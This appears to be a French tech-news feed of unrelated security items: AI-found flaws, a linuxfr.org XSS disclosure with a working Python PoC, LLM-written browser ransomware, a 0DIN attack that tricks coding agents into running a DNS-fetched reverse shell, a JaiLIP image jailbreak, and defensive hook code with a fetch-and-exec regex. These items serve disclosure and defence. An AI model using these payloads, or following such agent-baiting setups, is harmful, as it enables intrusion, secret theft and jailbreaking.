Et la base, elle est bien garnie. Plus de 500 tables dans un ensemble baptisé fgs avec dedans les emails et mots de passe du personnel, ceux des clients, les tokens de reset, les tokens d'API et les jetons OAuth encore actifs. Avec ça, Carroll précise qu'il aurait pu émettre autant de billets gratuits qu'il voulait, pour n'importe quel événement.

Mais c'est une personne pleine de sagesse (et qui ne veut pas aller en prison) alors il ne l'a pas fait. Et surtout, il a tout remonté à Live Nation. Le lendemain où il les a contactés, la boîte confirmait le déploiement d'un correctif.

Ce qui est intéressant ici, c'est que le contournement du WAF par sous-requête, et la construction de l'oracle, tout ça a été proposé par Claude, et ne vient pas d'une demande du chercheur. On avait certes, déjà vu l'IA d'Anthropic dénicher des failles dans Firefox ou éplucher du code Apple II vieux de 40 ans mais là, c'est un sacré cran plus loin, je trouve.

Merci à Ian Carroll pour le writeup détaillé .

Source : CyberSecurityNews

• lien nᵒ 1 : (RMLL 2009) Retour d'expérience sécurité sur 11 ans de LinuxFr.org
• lien nᵒ 2 : Les sondages sur LinuxFr.org

Bonjour,

J’ai lu le code source de linuxfr.org et je me suis intéressé aux sondages.
J’ai l’impression que certains échappements HTML ne fonctionnent pas très bien.

Il est possible de bypasser la regexp dans les réponses du sondage et
injecter du javascript dans les réponses.

En soi, ce ne serait pas grave, car un sondage doit être validé par un admin
pour que les utilisateurs le voient.

L’astuce ici consiste à utiliser une réponse avec du js qui fera valider
automatiquement le sondage par un admin, et mettre un second javascript
dans une autre réponse destiné aux utilisateurs, une fois le sondage
validé, permettant la compromission de tous les utilisateurs qui vont
cliquer sur le sondage.

Voici le poc en python (inliné dans le mail car google fait des dingueries
avec les pièces jointes en python):

#!/usr/bin/env python3
r"""
PoC — XSS stockee via linkify dans les reponses de sondage linuxfr.org

Vecteur : href="javascript:..." active au clic
Bypass regex : tagged template ` func`arg` ` au lieu de func('arg')
  - document.querySelector`.ok_button`  au lieu de
document.querySelector('.ok_button')
  - form.submit``                      au lieu de form.submit()
  - alert`msg`                         au lieu de alert('msg')
  Aucune parenthese `)` n'apparait dans l'URL markdown, donc la regex
  \[([^\]]*)\]\(([^)]*)\) ne peut rien manger.

Contrainte : 128 caracteres max (PollAnswer)
  Phase 1 : 64 car. (form.submit pour auto-publication)
  Phase 2 : 54 car. (alert de preuve)

Deroulement :
  1. Attaquant cree un sondage avec les payloads XSS
  2. Moderateuur visite /moderation/sondages/ID et clique sur [a]
  3. La publication se fait sans boite de confirmation
  4. Les visiteurs cliquent sur [b] -> alerte JavaScript

Usage :
  python3 poc.py <url> <user_session>

  <url>            : racine du site (ex: http://dlfp.lo)
  <user_session>   : valeur du cookie linuxfr.org_session (compte standard)

Exemple :
  python3 poc.py http://dlfp.lo "user_session_value"

Prerequis :
  pip install requests
"""

import re
import sys
from urllib.parse import urljoin, urlparse

import requests


def e(msg: str, code: int = 1) -> None:
    print(f"[-] {msg}")
    sys.exit(code)


def s(msg: str) -> None:
    print(f"[+] {msg}")


def info(msg: str) -> None:
    print(f"[*] {msg}")


def banner() -> None:
    print("=" * 68)
    print("  PoC — XSS linkify -> Auto-validation + XSS proof")
    print("  Vecteur : tagged templates dans href (pas de ) necessaire)")
    print("  Cible : linuxfr.org")
    print("=" * 68)


def make_session(cookie_value: str, target_url: str) -> requests.Session:
    s = requests.Session()
    hostname = urlparse(target_url).hostname
    s.cookies.set("linuxfr.org_session", cookie_value, domain=hostname)
    return s


def create_poll(url: str, session: requests.Session,) -> tuple[str, str]:
    """
    Cree un sondage avec les reponses malveillantes.
    """

    # Réponse 1 : 64 car. — form.submit() via tagged template
    # document.querySelector`.ok_button`   => querySelector('.ok_button')
    # form.submit``                        => form.submit()
    payload_phase1 = (
        "[a]"
        "(javascript:document.querySelector"
        "`.ok_button`.form.submit``)"
    )

    # Réponse 2 : 54 car. — alert via tagged template
    payload_phase2 = (
        "[b]"
        "(javascript:alert"
        "`smile this is your favorite XSS`)"
    )

    info("Chargement du formulaire de creation...")
    r = session.get(urljoin(url, "/sondages/nouveau"))
    csrf = re.search(
        r'name="authenticity_token" value="([^"]*)"', r.text
    )
    csrf = csrf.group(1)

    info("Creation du sondage malveillant...")
    r = session.post(urljoin(url, "/sondages"), data={
        "authenticity_token": csrf,
        "poll[title]": "PoC XSS — tagged template",
        "poll[wiki_explanations]": (
            "Cliquez sur les liens ci-dessous !"
        ),
        "poll[cc_licensed]": "1",
        "poll[answers_attributes][0][answer]": payload_phase1,
        "poll[answers_attributes][1][answer]": payload_phase2,
    })

    if r.status_code not in (200, 302):
        e(f"Creation echouee (HTTP {r.status_code})")

    print("Connectez vous en tant qu'admin et cliquez sur la réponse A")


def main():
    banner()

    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <url> <user_session>")
        print()
        print("Exemple :")
        print(f'  {sys.argv[0]} http://dlfp.lo "SESSION_USER"')
        sys.exit(1)

    target_url = sys.argv[1].rstrip("/")
    user_session_val = sys.argv[2]

    user_session = make_session(user_session_val, target_url)

    # Creation du sondage malveillant
    print()
    info("Creation du sondage avec payloads XSS")
    create_poll(target_url, user_session)


if __name__ == "__main__":
    main()

Et je joins les copies d’écran dans l’ordre :-)

C’était sympa à trigger, je ne pensais pas arriver à quelque chose avec
l’autovalidation de l’admin pour publier le sondage. Bon, il faut quand
même l’interaction d’un admin (d’où le fait que ce n’est pas très grave),
j’ai essayé des trucs à base de onmouseover, mais je n’arrive à rien de
bien ce soir, il fait trop chaud.

Merci de gérer et maintenir le site linuxfr, j’ai appris beaucoup de choses
en le lisant, même si je ne suis qu’un simple lecteur :-)
Merci de fournir le code source sur github, ça m’a permis de debug en live
mes tests.

Bonne soirée

Commentaires : voir le flux Atom ouvrir dans le navigateur

Dans la série "Qu'est-ce qu'on se marre avec les LLMs", des chercheurs en cybersécurité de Check Point ont tenté une expérience plutôt fun (enfin, je trouve ^^) : Demander à DeepSeek de leur coder un ransomware capable de tourner directement dans le navigateur.

Et bah croyez le ou non mais le machin l'a fait sans broncher ^^ Quand je repense à tout ce foin qu'on vient de vivre avec les américains avec Mythos et Fable 5 d'Anthropic, j'avoue je rigole quand je vois ça.

Alexey Bukhteyev et Pedro Drimel Neto, de l'équipe malware de Check Point, ont récupéré cet échantillon bricolé par l'IA, l'ont un peu peaufiné quand même, et se sont retrouvés avec une arme à 100% fonctionnelle capable de chiffrer tous vos documents depuis Chrome sans rien avoir à installer.

Le code malveillant s'appuie sur la File System Access API, une fonction qui permet à une page web de demander l'accès à un dossier de votre disque. La cible clique sur "autoriser" en pensant retoucher une image sur un site de "AI photo enhancer" bidon, et derrière la page parcourt le dossier ouvert, chiffre son contenu, et laisse une jolie demande de rançon et aucun moyen de récupérer les fichiers originaux.

Et surtout, DeepSeek a été au-delà de leurs attentes en proposant plein de fonctionnalités "cools" en plus à ce ransomware comme du vol de tokens Discord, de numéros de carte, de seed phrases crypto et de l'accès webcam. Mais en y regardant de plus près, les chercheurs ont remarqué que tout ceci avait été halluciné et ne fonctionnait pas vraiment. Le seul truc fonctionnel c'est le chiffrement du dossier qu'ils ont eux-même demandé et autorisé.

L'idée de faire un ransomware dans le navigateur n'est pas nouvelle et d'autres chercheurs l'avaient déjà théorisée à la conférence USENIX Security en 2023 sous le nom de RoB, ("Ransomware over Browsers") mais ce qui change vraiment ici, c'est que sans grandes compétences, n'importe qui peut le faire.

Si vous utilisez Hide My Email d'Apple pour éviter de balancer votre vraie adresse mail à tous les sites qui vous la réclament, j'ai une mauvaise nouvelle les amis ! Tyler Murphy, cofondateur d'EasyOptOuts a découvert une entourloupe qui permettrait de remonter jusqu'à votre vraie adresse email... Ça craint ! Et cette faille serait dans la nature depuis plus d'un an !

Argh !

Alors petit rappel pour ceux qui ne connaissent pas Hide My Email. C'est une fonction liée à iCloud+ qui vous permet de générer des adresses jetables en @icloud.com. Vous vous inscrivez quelque part avec un alias bidon, et ensuite les mails sont redirigés vers votre boîte réelle, et comme ça le site ne voit jamais votre adresse perso. Mais dans ses tests d'exploitation, Tyler Murphy a eu un taux de succès de 100% avec tous ces alias révélant leur vrai propriétaire. Donc si vous avez des alias Hide My Email en cours d'usage, partez du principe qu'ils sont peut-être grillés.

C'est 404 Media, qui a sorti l'info, et malheureusement, ils ne détaillent pas la technique parce que pour le moment, ça fonctionne encore et ce n'est pas patché. Faut dire qu'une fois votre vraie adresse récupérée par quelqu'un de mal intentionné, celui-ci peut la recouper du contenu trouvable en ligne ou sur le dark net pour retrouver votre nom, vos autres comptes, et tout ce que Hide My Email était censé empêcher.

Mais le plus gênant dans cette histoire, c'est la gestion merdique du problème par Apple. En effet, Murphy signale le bug en juin 2024 et Apple répond un mois plus tard qu'ils ont lancé une enquête en interne. Puis en mars de cette année, ils annoncent avoir corrigé le souci, sauf que non. Murphy vérifie et la faille est toujours là. Alors en mai, Apple change de disque et lui demande carrément de la fermer : "nous vous serions reconnaissants de ne pas divulguer ces informations tant que notre enquête n'est pas terminée". Bref, taisez-vous pendant qu'on ne corrige rien ^^.

Alors le gars en a eu marre. Il a estimé que les utilisateurs de Hide My Email méritaient de savoir alors il a décidé de parler et je pense que pour ça, on peut le remercier ! Apple va peut-être finir par se bouger le cul.

Et nous en attendant, on fait quoi alors ? Hé bien pas grand-chose parce que tant que côté Apple y'a pas de patch, y'a rien à faire. Mais sachez le, rien ne vous oblige à mettre tous vos œufs dans le même panier donc si vous voulez des alias sur lesquels vous gardez vraiment la main, il existe des solutions maison comme générer vos propres adresses jetables via Cloudflare avec votre nom de domaine ou encore passer par la crème de la crème des services d'emails jetables .

Source : 404 Media

J'sais pas si vous avez remarqué mais autant sous iOS on peut mettre une authentification Face ID sur n'importe quel app, autant sous MacOS, on peut certes verrouiller tout son ordi, mais on ne peut pas locker une app en particulier.

Et c'est chiant parce que parfois, on doit laisser son ordi à un collègue, un enfant ou PIRE sa mère, et ils ont alors accès sans restriction à vos Messages, vos Photos, votre gestionnaire de mots de passe , votre boîte mail et j'en passe des vertes et des pas mûres...

Dweep Desai, un développeur qui s'est visiblement retrouvé dans cette galère, a heureusement sorti FaceGate , un petit utilitaire open source tiers qui ajoute enfin du verrouillage par application sur macOS, avec déverrouillage à la trombine !

curl -fsSL https://raw.githubusercontent.com/dweep-desai/FaceGate-Mac/main/install.sh | bash

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

• lien nᵒ 1 : April
• lien nᵒ 2 : Revue de presse de l'April
• lien nᵒ 3 : Revue de presse de la semaine précédente
• lien nᵒ 4 : 🕸 Fils du Net

Commentaires : voir le flux Atom ouvrir dans le navigateur

• lien nᵒ 1 : Le site de la conférence
• lien nᵒ 2 : Les speakers
• lien nᵒ 3 : L'agenda
• lien nᵒ 4 : Sponsoriser, c'est encore possible !

Commentaires : voir le flux Atom ouvrir dans le navigateur

Md Jueal Mia et Hadi Amini, deux chercheurs de Florida International University , ont mis au point une méthode qu'ils ont baptisée JaiLIP qui permet de forger une image capable de contourner les garde-fous des LLM pour les jailbreaker.

Pour cela, ils utilisent 2 techniques en simultanée. La première dit à l'image "reste identique à l'originale, qu'aucun humain ne voie la moindre différence" et la seconde dit "pousse le modèle à cracher la réponse interdite". Ainsi, en poussant ces 2 curseurs d'un coup, ils obtiennent une photo qui au premier abord a l'air normale mais qui fait dérailler les modèles IA.

Vous, vous repérez un chat, des contours, une scène et vous lui courez derrière pour lui faire des papouilles. L'IA, elle voit une grille de chiffres et des corrélations entre pixels. Du coup sa vie est nulle mais surtout, une retouche minuscule, totalement invisible à votre œil, suffit à déplacer ce qu'elle comprend de l'image.

Sur leurs tests, l'image trafiquée a quasiment doublé la part de réponses dangereuses par rapport à la même image laissée intacte, la toxicité étant mesurée avec des outils standards du domaine. Dans l'un de leurs exemples, ils ont trafiqué une image de signalisation routière qui a permis au modèle ensuite d'expliquer OKLM comment ignorer les règles de circulation et éviter les PV.

Les chercheurs ont testé l'attaque sur deux modèles vision-langage open source, BLIP-2 et MiniGPT-4. GPT-4V, Gemini et les autres gros modèles fermés, eux, n'ont pas été testés dans l'étude. Donc non, contrairement à ce que j'ai pu lire par ci et par là, ce n'est pas une faille prouvée dans ChatGPT ou peu importe l'assistant IA que vous utilisez tous les jours.

Et tromper une IA avec une image bricolée, ça existe depuis une bonne dizaine d'années. Mais la nouveauté de JaiLIP, c'est surtout sa recette d'optimisation. En jouant sur les deux pertes à la fois, l'image reste plus discrète à l'œil tout en se montrant un cran plus efficace que les bidouilles précédentes.

Et ce genre de détournement nous concerne tous parce que des modèles qui regardent des images, il y en a partout maintenant. Les agents IA qui bossent à partir de captures d'écran, les assistants à qui vous balancez vos photos, sans oublier la modération automatique qui trie les images avant publication. À cause de ça, l'image est dorénavant un canal d'attaque, exactement comme l'était déjà le texte...

On l'a vu avec le son inaudible qui pirate les assistants vocaux , on l'a vu avec les IA qu'on manipule sans qu'elles s'en aperçoivent , et c'est toujours la même logique qui revient. Ce n'est pas parce qu'en tant qu'humain, nous ne percevons rien, que l'IA elle n'est pas capable de capter le message 5/5.

Le cousin de cette attaque, côté perception, c'est par exemple le sticker qui trompe une voiture autonome . Et côté parade, nos chercheurs esquissent une piste légère : virer au hasard 10 à 30% des mots passés en entrée, histoire de casser l'attaque sans réentraîner le modèle.

Prometteur d'après eux, mais c'est pas encore une solution blindée. Pour le reste, leurs conseils tiennent du bon sens : Ne passez pas d'infos sensibles en image à un modèle, limitez qui peut envoyer des images à vos systèmes, et auditez sérieusement la sécurité avant de mettre un VLM en prod.

C'est pas le graal mais c'est mieux que rien. Bref méfiez vous des images que vous donnez à vos IA. On ne sait jamais.

Source : le papier JaiLIP sur arXiv

Mise à jour du 26 juin 2026 : Mathias Rochus, le fondateur d'AdBlock Ltd qui édite l'extension, m'a contacté pour réagir. Il souligne que cette capacité n'a jamais servi (le rapport Island le confirme) et que le scriptlet en cause, trusted-create-element, n'est pas maison : il vient de la bibliothèque open-source de scriptlets d'AdGuard que beaucoup de bloqueurs embarquent. Surtout, il annonce corriger les deux problèmes dès aujourd'hui : suppression pure et simple du scriptlet inutilisé pour qu'aucune config serveur ne puisse l'appeler, et vérification du vrai domaine youtube.com au lieu d'une chaîne posée n'importe où dans l'URL. La nouvelle version doit encore passer la revue de Google.

Une précision quand même, parce que c'est le cœur du sujet : selon le rapport Island, quand le serveur renvoie certains paramètres, l'élément créé est une balise <script> dont le contenu est fourni directement par le serveur. Autrement dit, le verrou qu'on retire servait bien à faire tourner du code venu d'ailleurs. Le correctif, lui, est une bonne nouvelle pour les 10 millions d'utilisateurs. Je reviendrai vérifier une fois la mise à jour en ligne.

Si vous avez installé une extension qui s'appelle "Adblock for YouTube" pour virer les pubs de vos vidéos, prenez deux minutes pour lire mon article.

Les chercheurs Oleg Zaytsev et Shachar Gritzman, de la boîte de sécurité Island, viennent de passer au peigne fin une de ces extensions installée par plus de 10 millions de personnes, et ce qu'ils ont trouvé dedans n'est pas très joli joli. Le truc affiche fièrement un badge "Featured" sur le Chrome Web Store, fait bien le boulot promis (il bloque les pubs), mais il embarque aussi de quoi exécuter n'importe quel bout de JavaScript sur n'importe quel site que vous visitez.

Et ça, ça craint !

Mais avant que vous fermiez l'onglet en panique, sachez tout d'abord qu'il existe plusieurs extensions qui portent ce nom. Celle qui pose problème a un identifiant précis, cmedhionkhpnakcndndgjdbohmhepckk. Donc pour vérifier, tapez chrome://extensions dans votre barre d'adresse, activez le "Mode développeur" en haut à droite, et regardez l'ID affiché sous chaque extension. Si vous tombez sur celui-là, virez-la sans réfléchir. Si c'est un autre identifiant, ce n'est pas l'extension visée par cette analyse, ce qui ne veut pas dire pour autant que tous les bloqueurs du store sont blancs comme neige, hein...

Ce qui inquiète Island, ce n'est pas une ligne de code qui vole vos données là, maintenant mais plutôt une capacité en sommeil. L'extension contient ce que les chercheurs appellent les ingrédients architecturaux pour faire tourner du code arbitraire, et la mèche peut être allumée par un simple changement côté serveur sans que cela se voit.

En clair, du jour au lendemain, le bidule pourrait se mettre à lire vos pages, aspirer vos données et à agir à votre place dans vos comptes perso, vos applis de boulot ou vos panneaux d'admin. Au moment de l'analyse, le mécanisme dormait. Il n'était pas absent.

Et le détail qui fait sourire jaune, c'est quand même ce garde-fou censé limiter l'extension à YouTube. En théorie elle ne s'active que sur le site de Google mais en pratique, elle tourne sur absolument tous les sites, avec une vérification qui regarde juste si la chaîne "youtube.com" apparaît quelque part dans l'URL.

Oui n'importe où, du coup une adresse comme bank.example.com/search?q=youtube.com passe le test sans problème donc autant vous dire que le verrou ne verrouille pas grand chose...

Cette extension traîne sur le store depuis 2014. Au départ c'était donc un bête bloqueur de pub YouTube, jusqu'à un changement de propriétaire en 2018. Les premières versions embarquaient carrément un SDK d'injection de pub baptisé Unistream, finalement retiré en juin 2024, et les chemins d'injection de script pilotables à distance sont présents depuis février 2025. 3 autres extensions de blocage de pub liées au même écosystème ont déjà été dégagées du Chrome Web Store pour cause de malware.

Toutefois, pour le moment, il n'y a aucune preuve qu'un payload malveillant ait réellement été poussé aux utilisateurs, mais c'est la combinaison de plusieurs de ces facteurs qui pue : une extension à 10 millions d'installs, un accès à tous les sites, un canal d'injection téléguidé, un passé d'injection de pub et des cousines déjà bannies. Gloups !

Donc je vous conseille vivement de faire le tour de vos extensions. CRXplorer vous aidera à débusquer celles qui sont louches, et si vous cherchez à bloquer les pubs proprement, j'avais fait le point sur les bonnes méthodes pour ça . Petit rappel au passage, sur Chrome le uBlock Origin complet a été débranché par le passage à Manifest V3, et il ne reste que sa version Lite, forcément moins fortiche.

Donc si vous voulez le vrai, c'est sur Firefox que ça se passe maintenant.

Bref, méfiez-vous des bloqueurs de pub qui réclament la lune et au moindre doute sur l'ID, désinstallez cette merde !

Source

Samsung nous vend KNOX comme le gros cadenas de nos smartphones Galaxy mais il semblerait que ce soit un gros fail. Si vous ne connaissez pas encore KNOX, c'est la couche maison de Samsung qui garde un oeil sur tout ce qui tourne dans le téléphone afin de nous PROTÉGER (retenez bien ce mot c'est important...lol).

Et bien je vous le donne dans le mille mes petits Emile, des chercheurs de LucidBit Labs viennent de prouver l'exact inverse à cause d'une faille logée dans KNOX lui-même, qui est restée grande ouverte durant ces 8 dernières années. C'est la CVE-2026-20971, notée 7.8 sur l'échelle CVSS et elle concerne à peu près tous les Galaxy sortis depuis le S9.

Le problème, c'est que n'importe quelle appli, même un machin tout bête sans la moindre permission, pouvait déclencher la faille pour aller ensuite tripoter la mémoire du kernel et cibler par exemple une prise de contrôle totale de l'appareil. Rassurez-vous, le correctif est arrivé dans la mise à jour de sécurité de janvier 2026, donc filez dans Paramètres, Mise à jour logicielle, et vérifiez que vous l'avez bien.

Maintenant si votre Galaxy commence à dater et qu'aucune MAJ ne pointe son nez, c'est le moment peut-être de regarder si Samsung le maintient toujours, sinon opter pour une autre version d'Android ou acheter un smartphone pour les adultes (qui a dit iPhone ?? Rooooh).

Ce qui est fou quand même c'est que toute cette galère sort quand même d'un truc ajouté POUR renforcer la sécurité. Parfois les défenses deviennent la surface d'attaque... C'est à se demander si empiler des couches et des couches de sécurité c'est vraiment une bonne idée alors qu'il suffirait de bien verrouiller le système de base (le noyau Android)...

Bref, comme à chaque salve de failles Android , foncez mettre à jour votre Galaxy !

Source : Security Affairs

Vous vous souvenez du streamer Twitch qui s'était fait piquer sa caisse en plein live, à cause d'un boîtier bizarre posé contre sa porte d'entrée ?

Tout le monde a crié au fake évidemment, sauf que dans une certaine mesure, c'était vrai ! Et le voleur, c'était Mark Rober en personne, l'ex-ingénieur de la NASA devenu YouTubeur, qui a inventé toute cette mise en scène pour démontrer une bonne fois pour toutes comment on vole une voiture récente sans même toucher à la serrure.

La méthode s'appelle la relay attack, l'attaque par relais, et le principe est tellement simple que c'en est gênant. En effet, les voitures passent leur vie à chuchoter, quatre fois par seconde environ, des petits "hé psst, t'es là, ma clé ?". Et quand la clé est assez proche pour entendre ce murmure, elle hurle en retour le mot de passe secret qui déverrouille les portes et permet de démarrer le véhicule. Sauf que ce chuchotement, une équipe de voleurs peut le capter depuis votre voiture, l'amplifier, et le balancer jusqu'à votre clé restée sur le meuble de l'entrée ou dans la poche de votre veste. La clé croit alors que la voiture est juste là, elle répond, et hop, la caisse s'ouvre. Ça prend 30 secondes chrono, ça ne déclenche aucune alarme, et surtout y'a aucune effraction, ce qui arrange bien ces inutiles d'assureurs.

Alors pour bien comprendre comment tout ceci fonctionne, Rober a voulu s'équiper comme un vrai voleur. Direction le dark web, où un certain Dimitri (un russe... Bah quoi les clichés ?) lui a vendu un boîtier de vol clé en main pour 12 000 dollars en Bitcoin. L'appareil arrive, il le passe au CT Scan pour voir ce qu'il y a dedans sans le faire péter, et le verdict tombe : il s'est fait escroquer comme un débutant.

En fait, tous les composants hors de prix de ce machin pouvaient être remplacés par la même chose que ce qu'on trouve dans un babyphone vidéo de 2004.

Le babyphone de 2004 dont les entrailles remplacent un boitier dark web a 12 000 dollars.

La caméra du babyphone capte un signal, l'antenne le transmet à l'écran déporté et il suffit de couper deux fils au bon endroit pour transformer ça en relais radio . Son clone maison lui est donc revenu à quelques centaines de dollars de matos au lieu des douze mille que Dimitri a empochés. Et surtout il fonctionnait mieux que l'original. Breeeef...

Avant ce genre d'attaque, voler une bagnole demandait quand même un peu de doigté. Le slim jim, une tige métallique qu'on glissait dans la portière, a été tué dans les années 90 par les constructeurs qui ont blindé les mécanismes de serrure. Le démarrage en pontant les fils façon Mac Gyver est devenu inutile le jour où un calculateur ECU a pris le contrôle du moteur. Et plus récemment, vous avez peut-être entendu parler des Kia Boys , ces ados qui ont fait le tour de TikTok en démarrant des Kia et Hyundai d'avant 2022 avec un simple câble USB enfoncé dans le contact.

C'était couillon, mais ces modèles n'avaient pas d'antidémarrage électronique... une économie de bout de chandelle des constructeurs qui leur a quand même coûté 8,3 millions de véhicules à patcher en urgence. Comme quoi, la sécurité par l'obscurité, ça finit toujours par se payer un jour ou l'autre...

Et est-ce que vous saviez ce que deviennent ces voitures une fois envolées ??

Eh bien, même si l'essentiel des vols est l'œuvre d'abrutis d'ados qui font joyride pour Instagram , le reste est récupéré par une filière criminelle très organisée, démonté en pièces détachées dans un atelier en moins d'une heure ou encore expédié en conteneur à l'autre bout du monde.

Maintenant, pour bloquer les attaques relais et toutes ses déclinaisons, il suffit d'empêcher votre clé d'entendre ce "chuchotement" de la voiture. La première règle, qui est aussi la plus bête, est donc de ne JAMAIS poser vos clés près de la porte d'entrée... Éloignez-les au maximum, à l'autre bout de votre logement si vous le pouvez

Et la deuxième règle, c'est d'empêcher la clé de capter quoi que ce soit... Une boîte à biscuits en métal fait par exemple parfaitement l'affaire. Ou alors un bout de papier alu pour l'emballer...

Une simple boite a biscuits en métal suffit a rendre la clé sourde.

C'est ce qu'on appelle une cage de Faraday dans laquelle le signal radio préfère filer dans le métal conducteur plutôt que de traverser. Les pochettes anti-RFID vendues une dizaine d'euros font pareil et sont quand même plus classe, mais testez-les avant de leur faire réellement confiance.

Ah et sinon, sur certains modèles comme ma Ioniq 5 , vous pouvez aussi désactiver l'ouverture automatique "à distance via la clé et "sans les mains" et exiger une pression sur le bouton de la clé. C'est plus safe même si c'est moins fun ^^.

Un grand merci à Lilian pour le partage.

• lien nᵒ 1 : Appel à conférences Open Source Experience
• lien nᵒ 2 : Site web d'Open Source Experience
• lien nᵒ 3 : Pretalx, logiciel libre de gestion de CFP et de programmes d’événements

Commentaires : voir le flux Atom ouvrir dans le navigateur

• lien nᵒ 1 : Dépôt GitHub
• lien nᵒ 2 : Documentation officielle de Dark Moon
• lien nᵒ 3 : Vidéo de démonstration de Dark Moon sur Juice Shop
• lien nᵒ 4 : Site officiel de Dark Moon

git clone https://github.com/ASCIT31/Dark-Moon.git
cd Dark-Moon
chmod +x install.sh darkmoon.sh
./install.sh

./darkmoon.sh

./darkmoon.sh "TARGET: http://172.19.0.3:3000"

./darkmoon.sh "TARGET: http://172.19.0.3:3000"

./darkmoon.sh "TARGET: https://app.example.org PROGRAM='Audit interne' TARGETS=*.example.org,API:https://api.example.org OUT=payments.example.org,10.0.0.0/8 FOCUS=sqli,rce,ssrf,idor EXCLUDE=brute-force NOISE=moderate FORMAT=standard RULES='POC only;no real user data'"

./darkmoon.sh --log <session_id>

Commentaires : voir le flux Atom ouvrir dans le navigateur

La Tapo C675D KIT de TP-Link est une caméra de surveillance solaire qui vient de sortie, avec un truc qu'on voit rarement à ce tarif : 2 objectifs 4K.

Un grand-angle fixe qui surveille toute la scène, et un second monté sur rotule qui zoome et suit l'action tout seul comme un grand. J'avais déjà testé sa petite sœur, la Tapo C665G , et là j'avoue que Tapo monte clairement d'un cran.

Les deux objectifs, c'est malin parce que sur une caméra motorisée classique, dès qu'elle pivote pour suivre quelqu'un, elle perd le reste du champ. Ainsi, pendant qu'elle zoome sur le mec qui crochète votre portail, votre bagnole sort du cadre et son complice peut se barrer avec... Alors qu'ici, non. Le grand-angle reste planté sur ses 169° et filme tout en permanence, tandis que le téléobjectif part chasser le mouvement en tournant sur 360°. Et tout ça est diffusé sur deux flux 4K séparés.

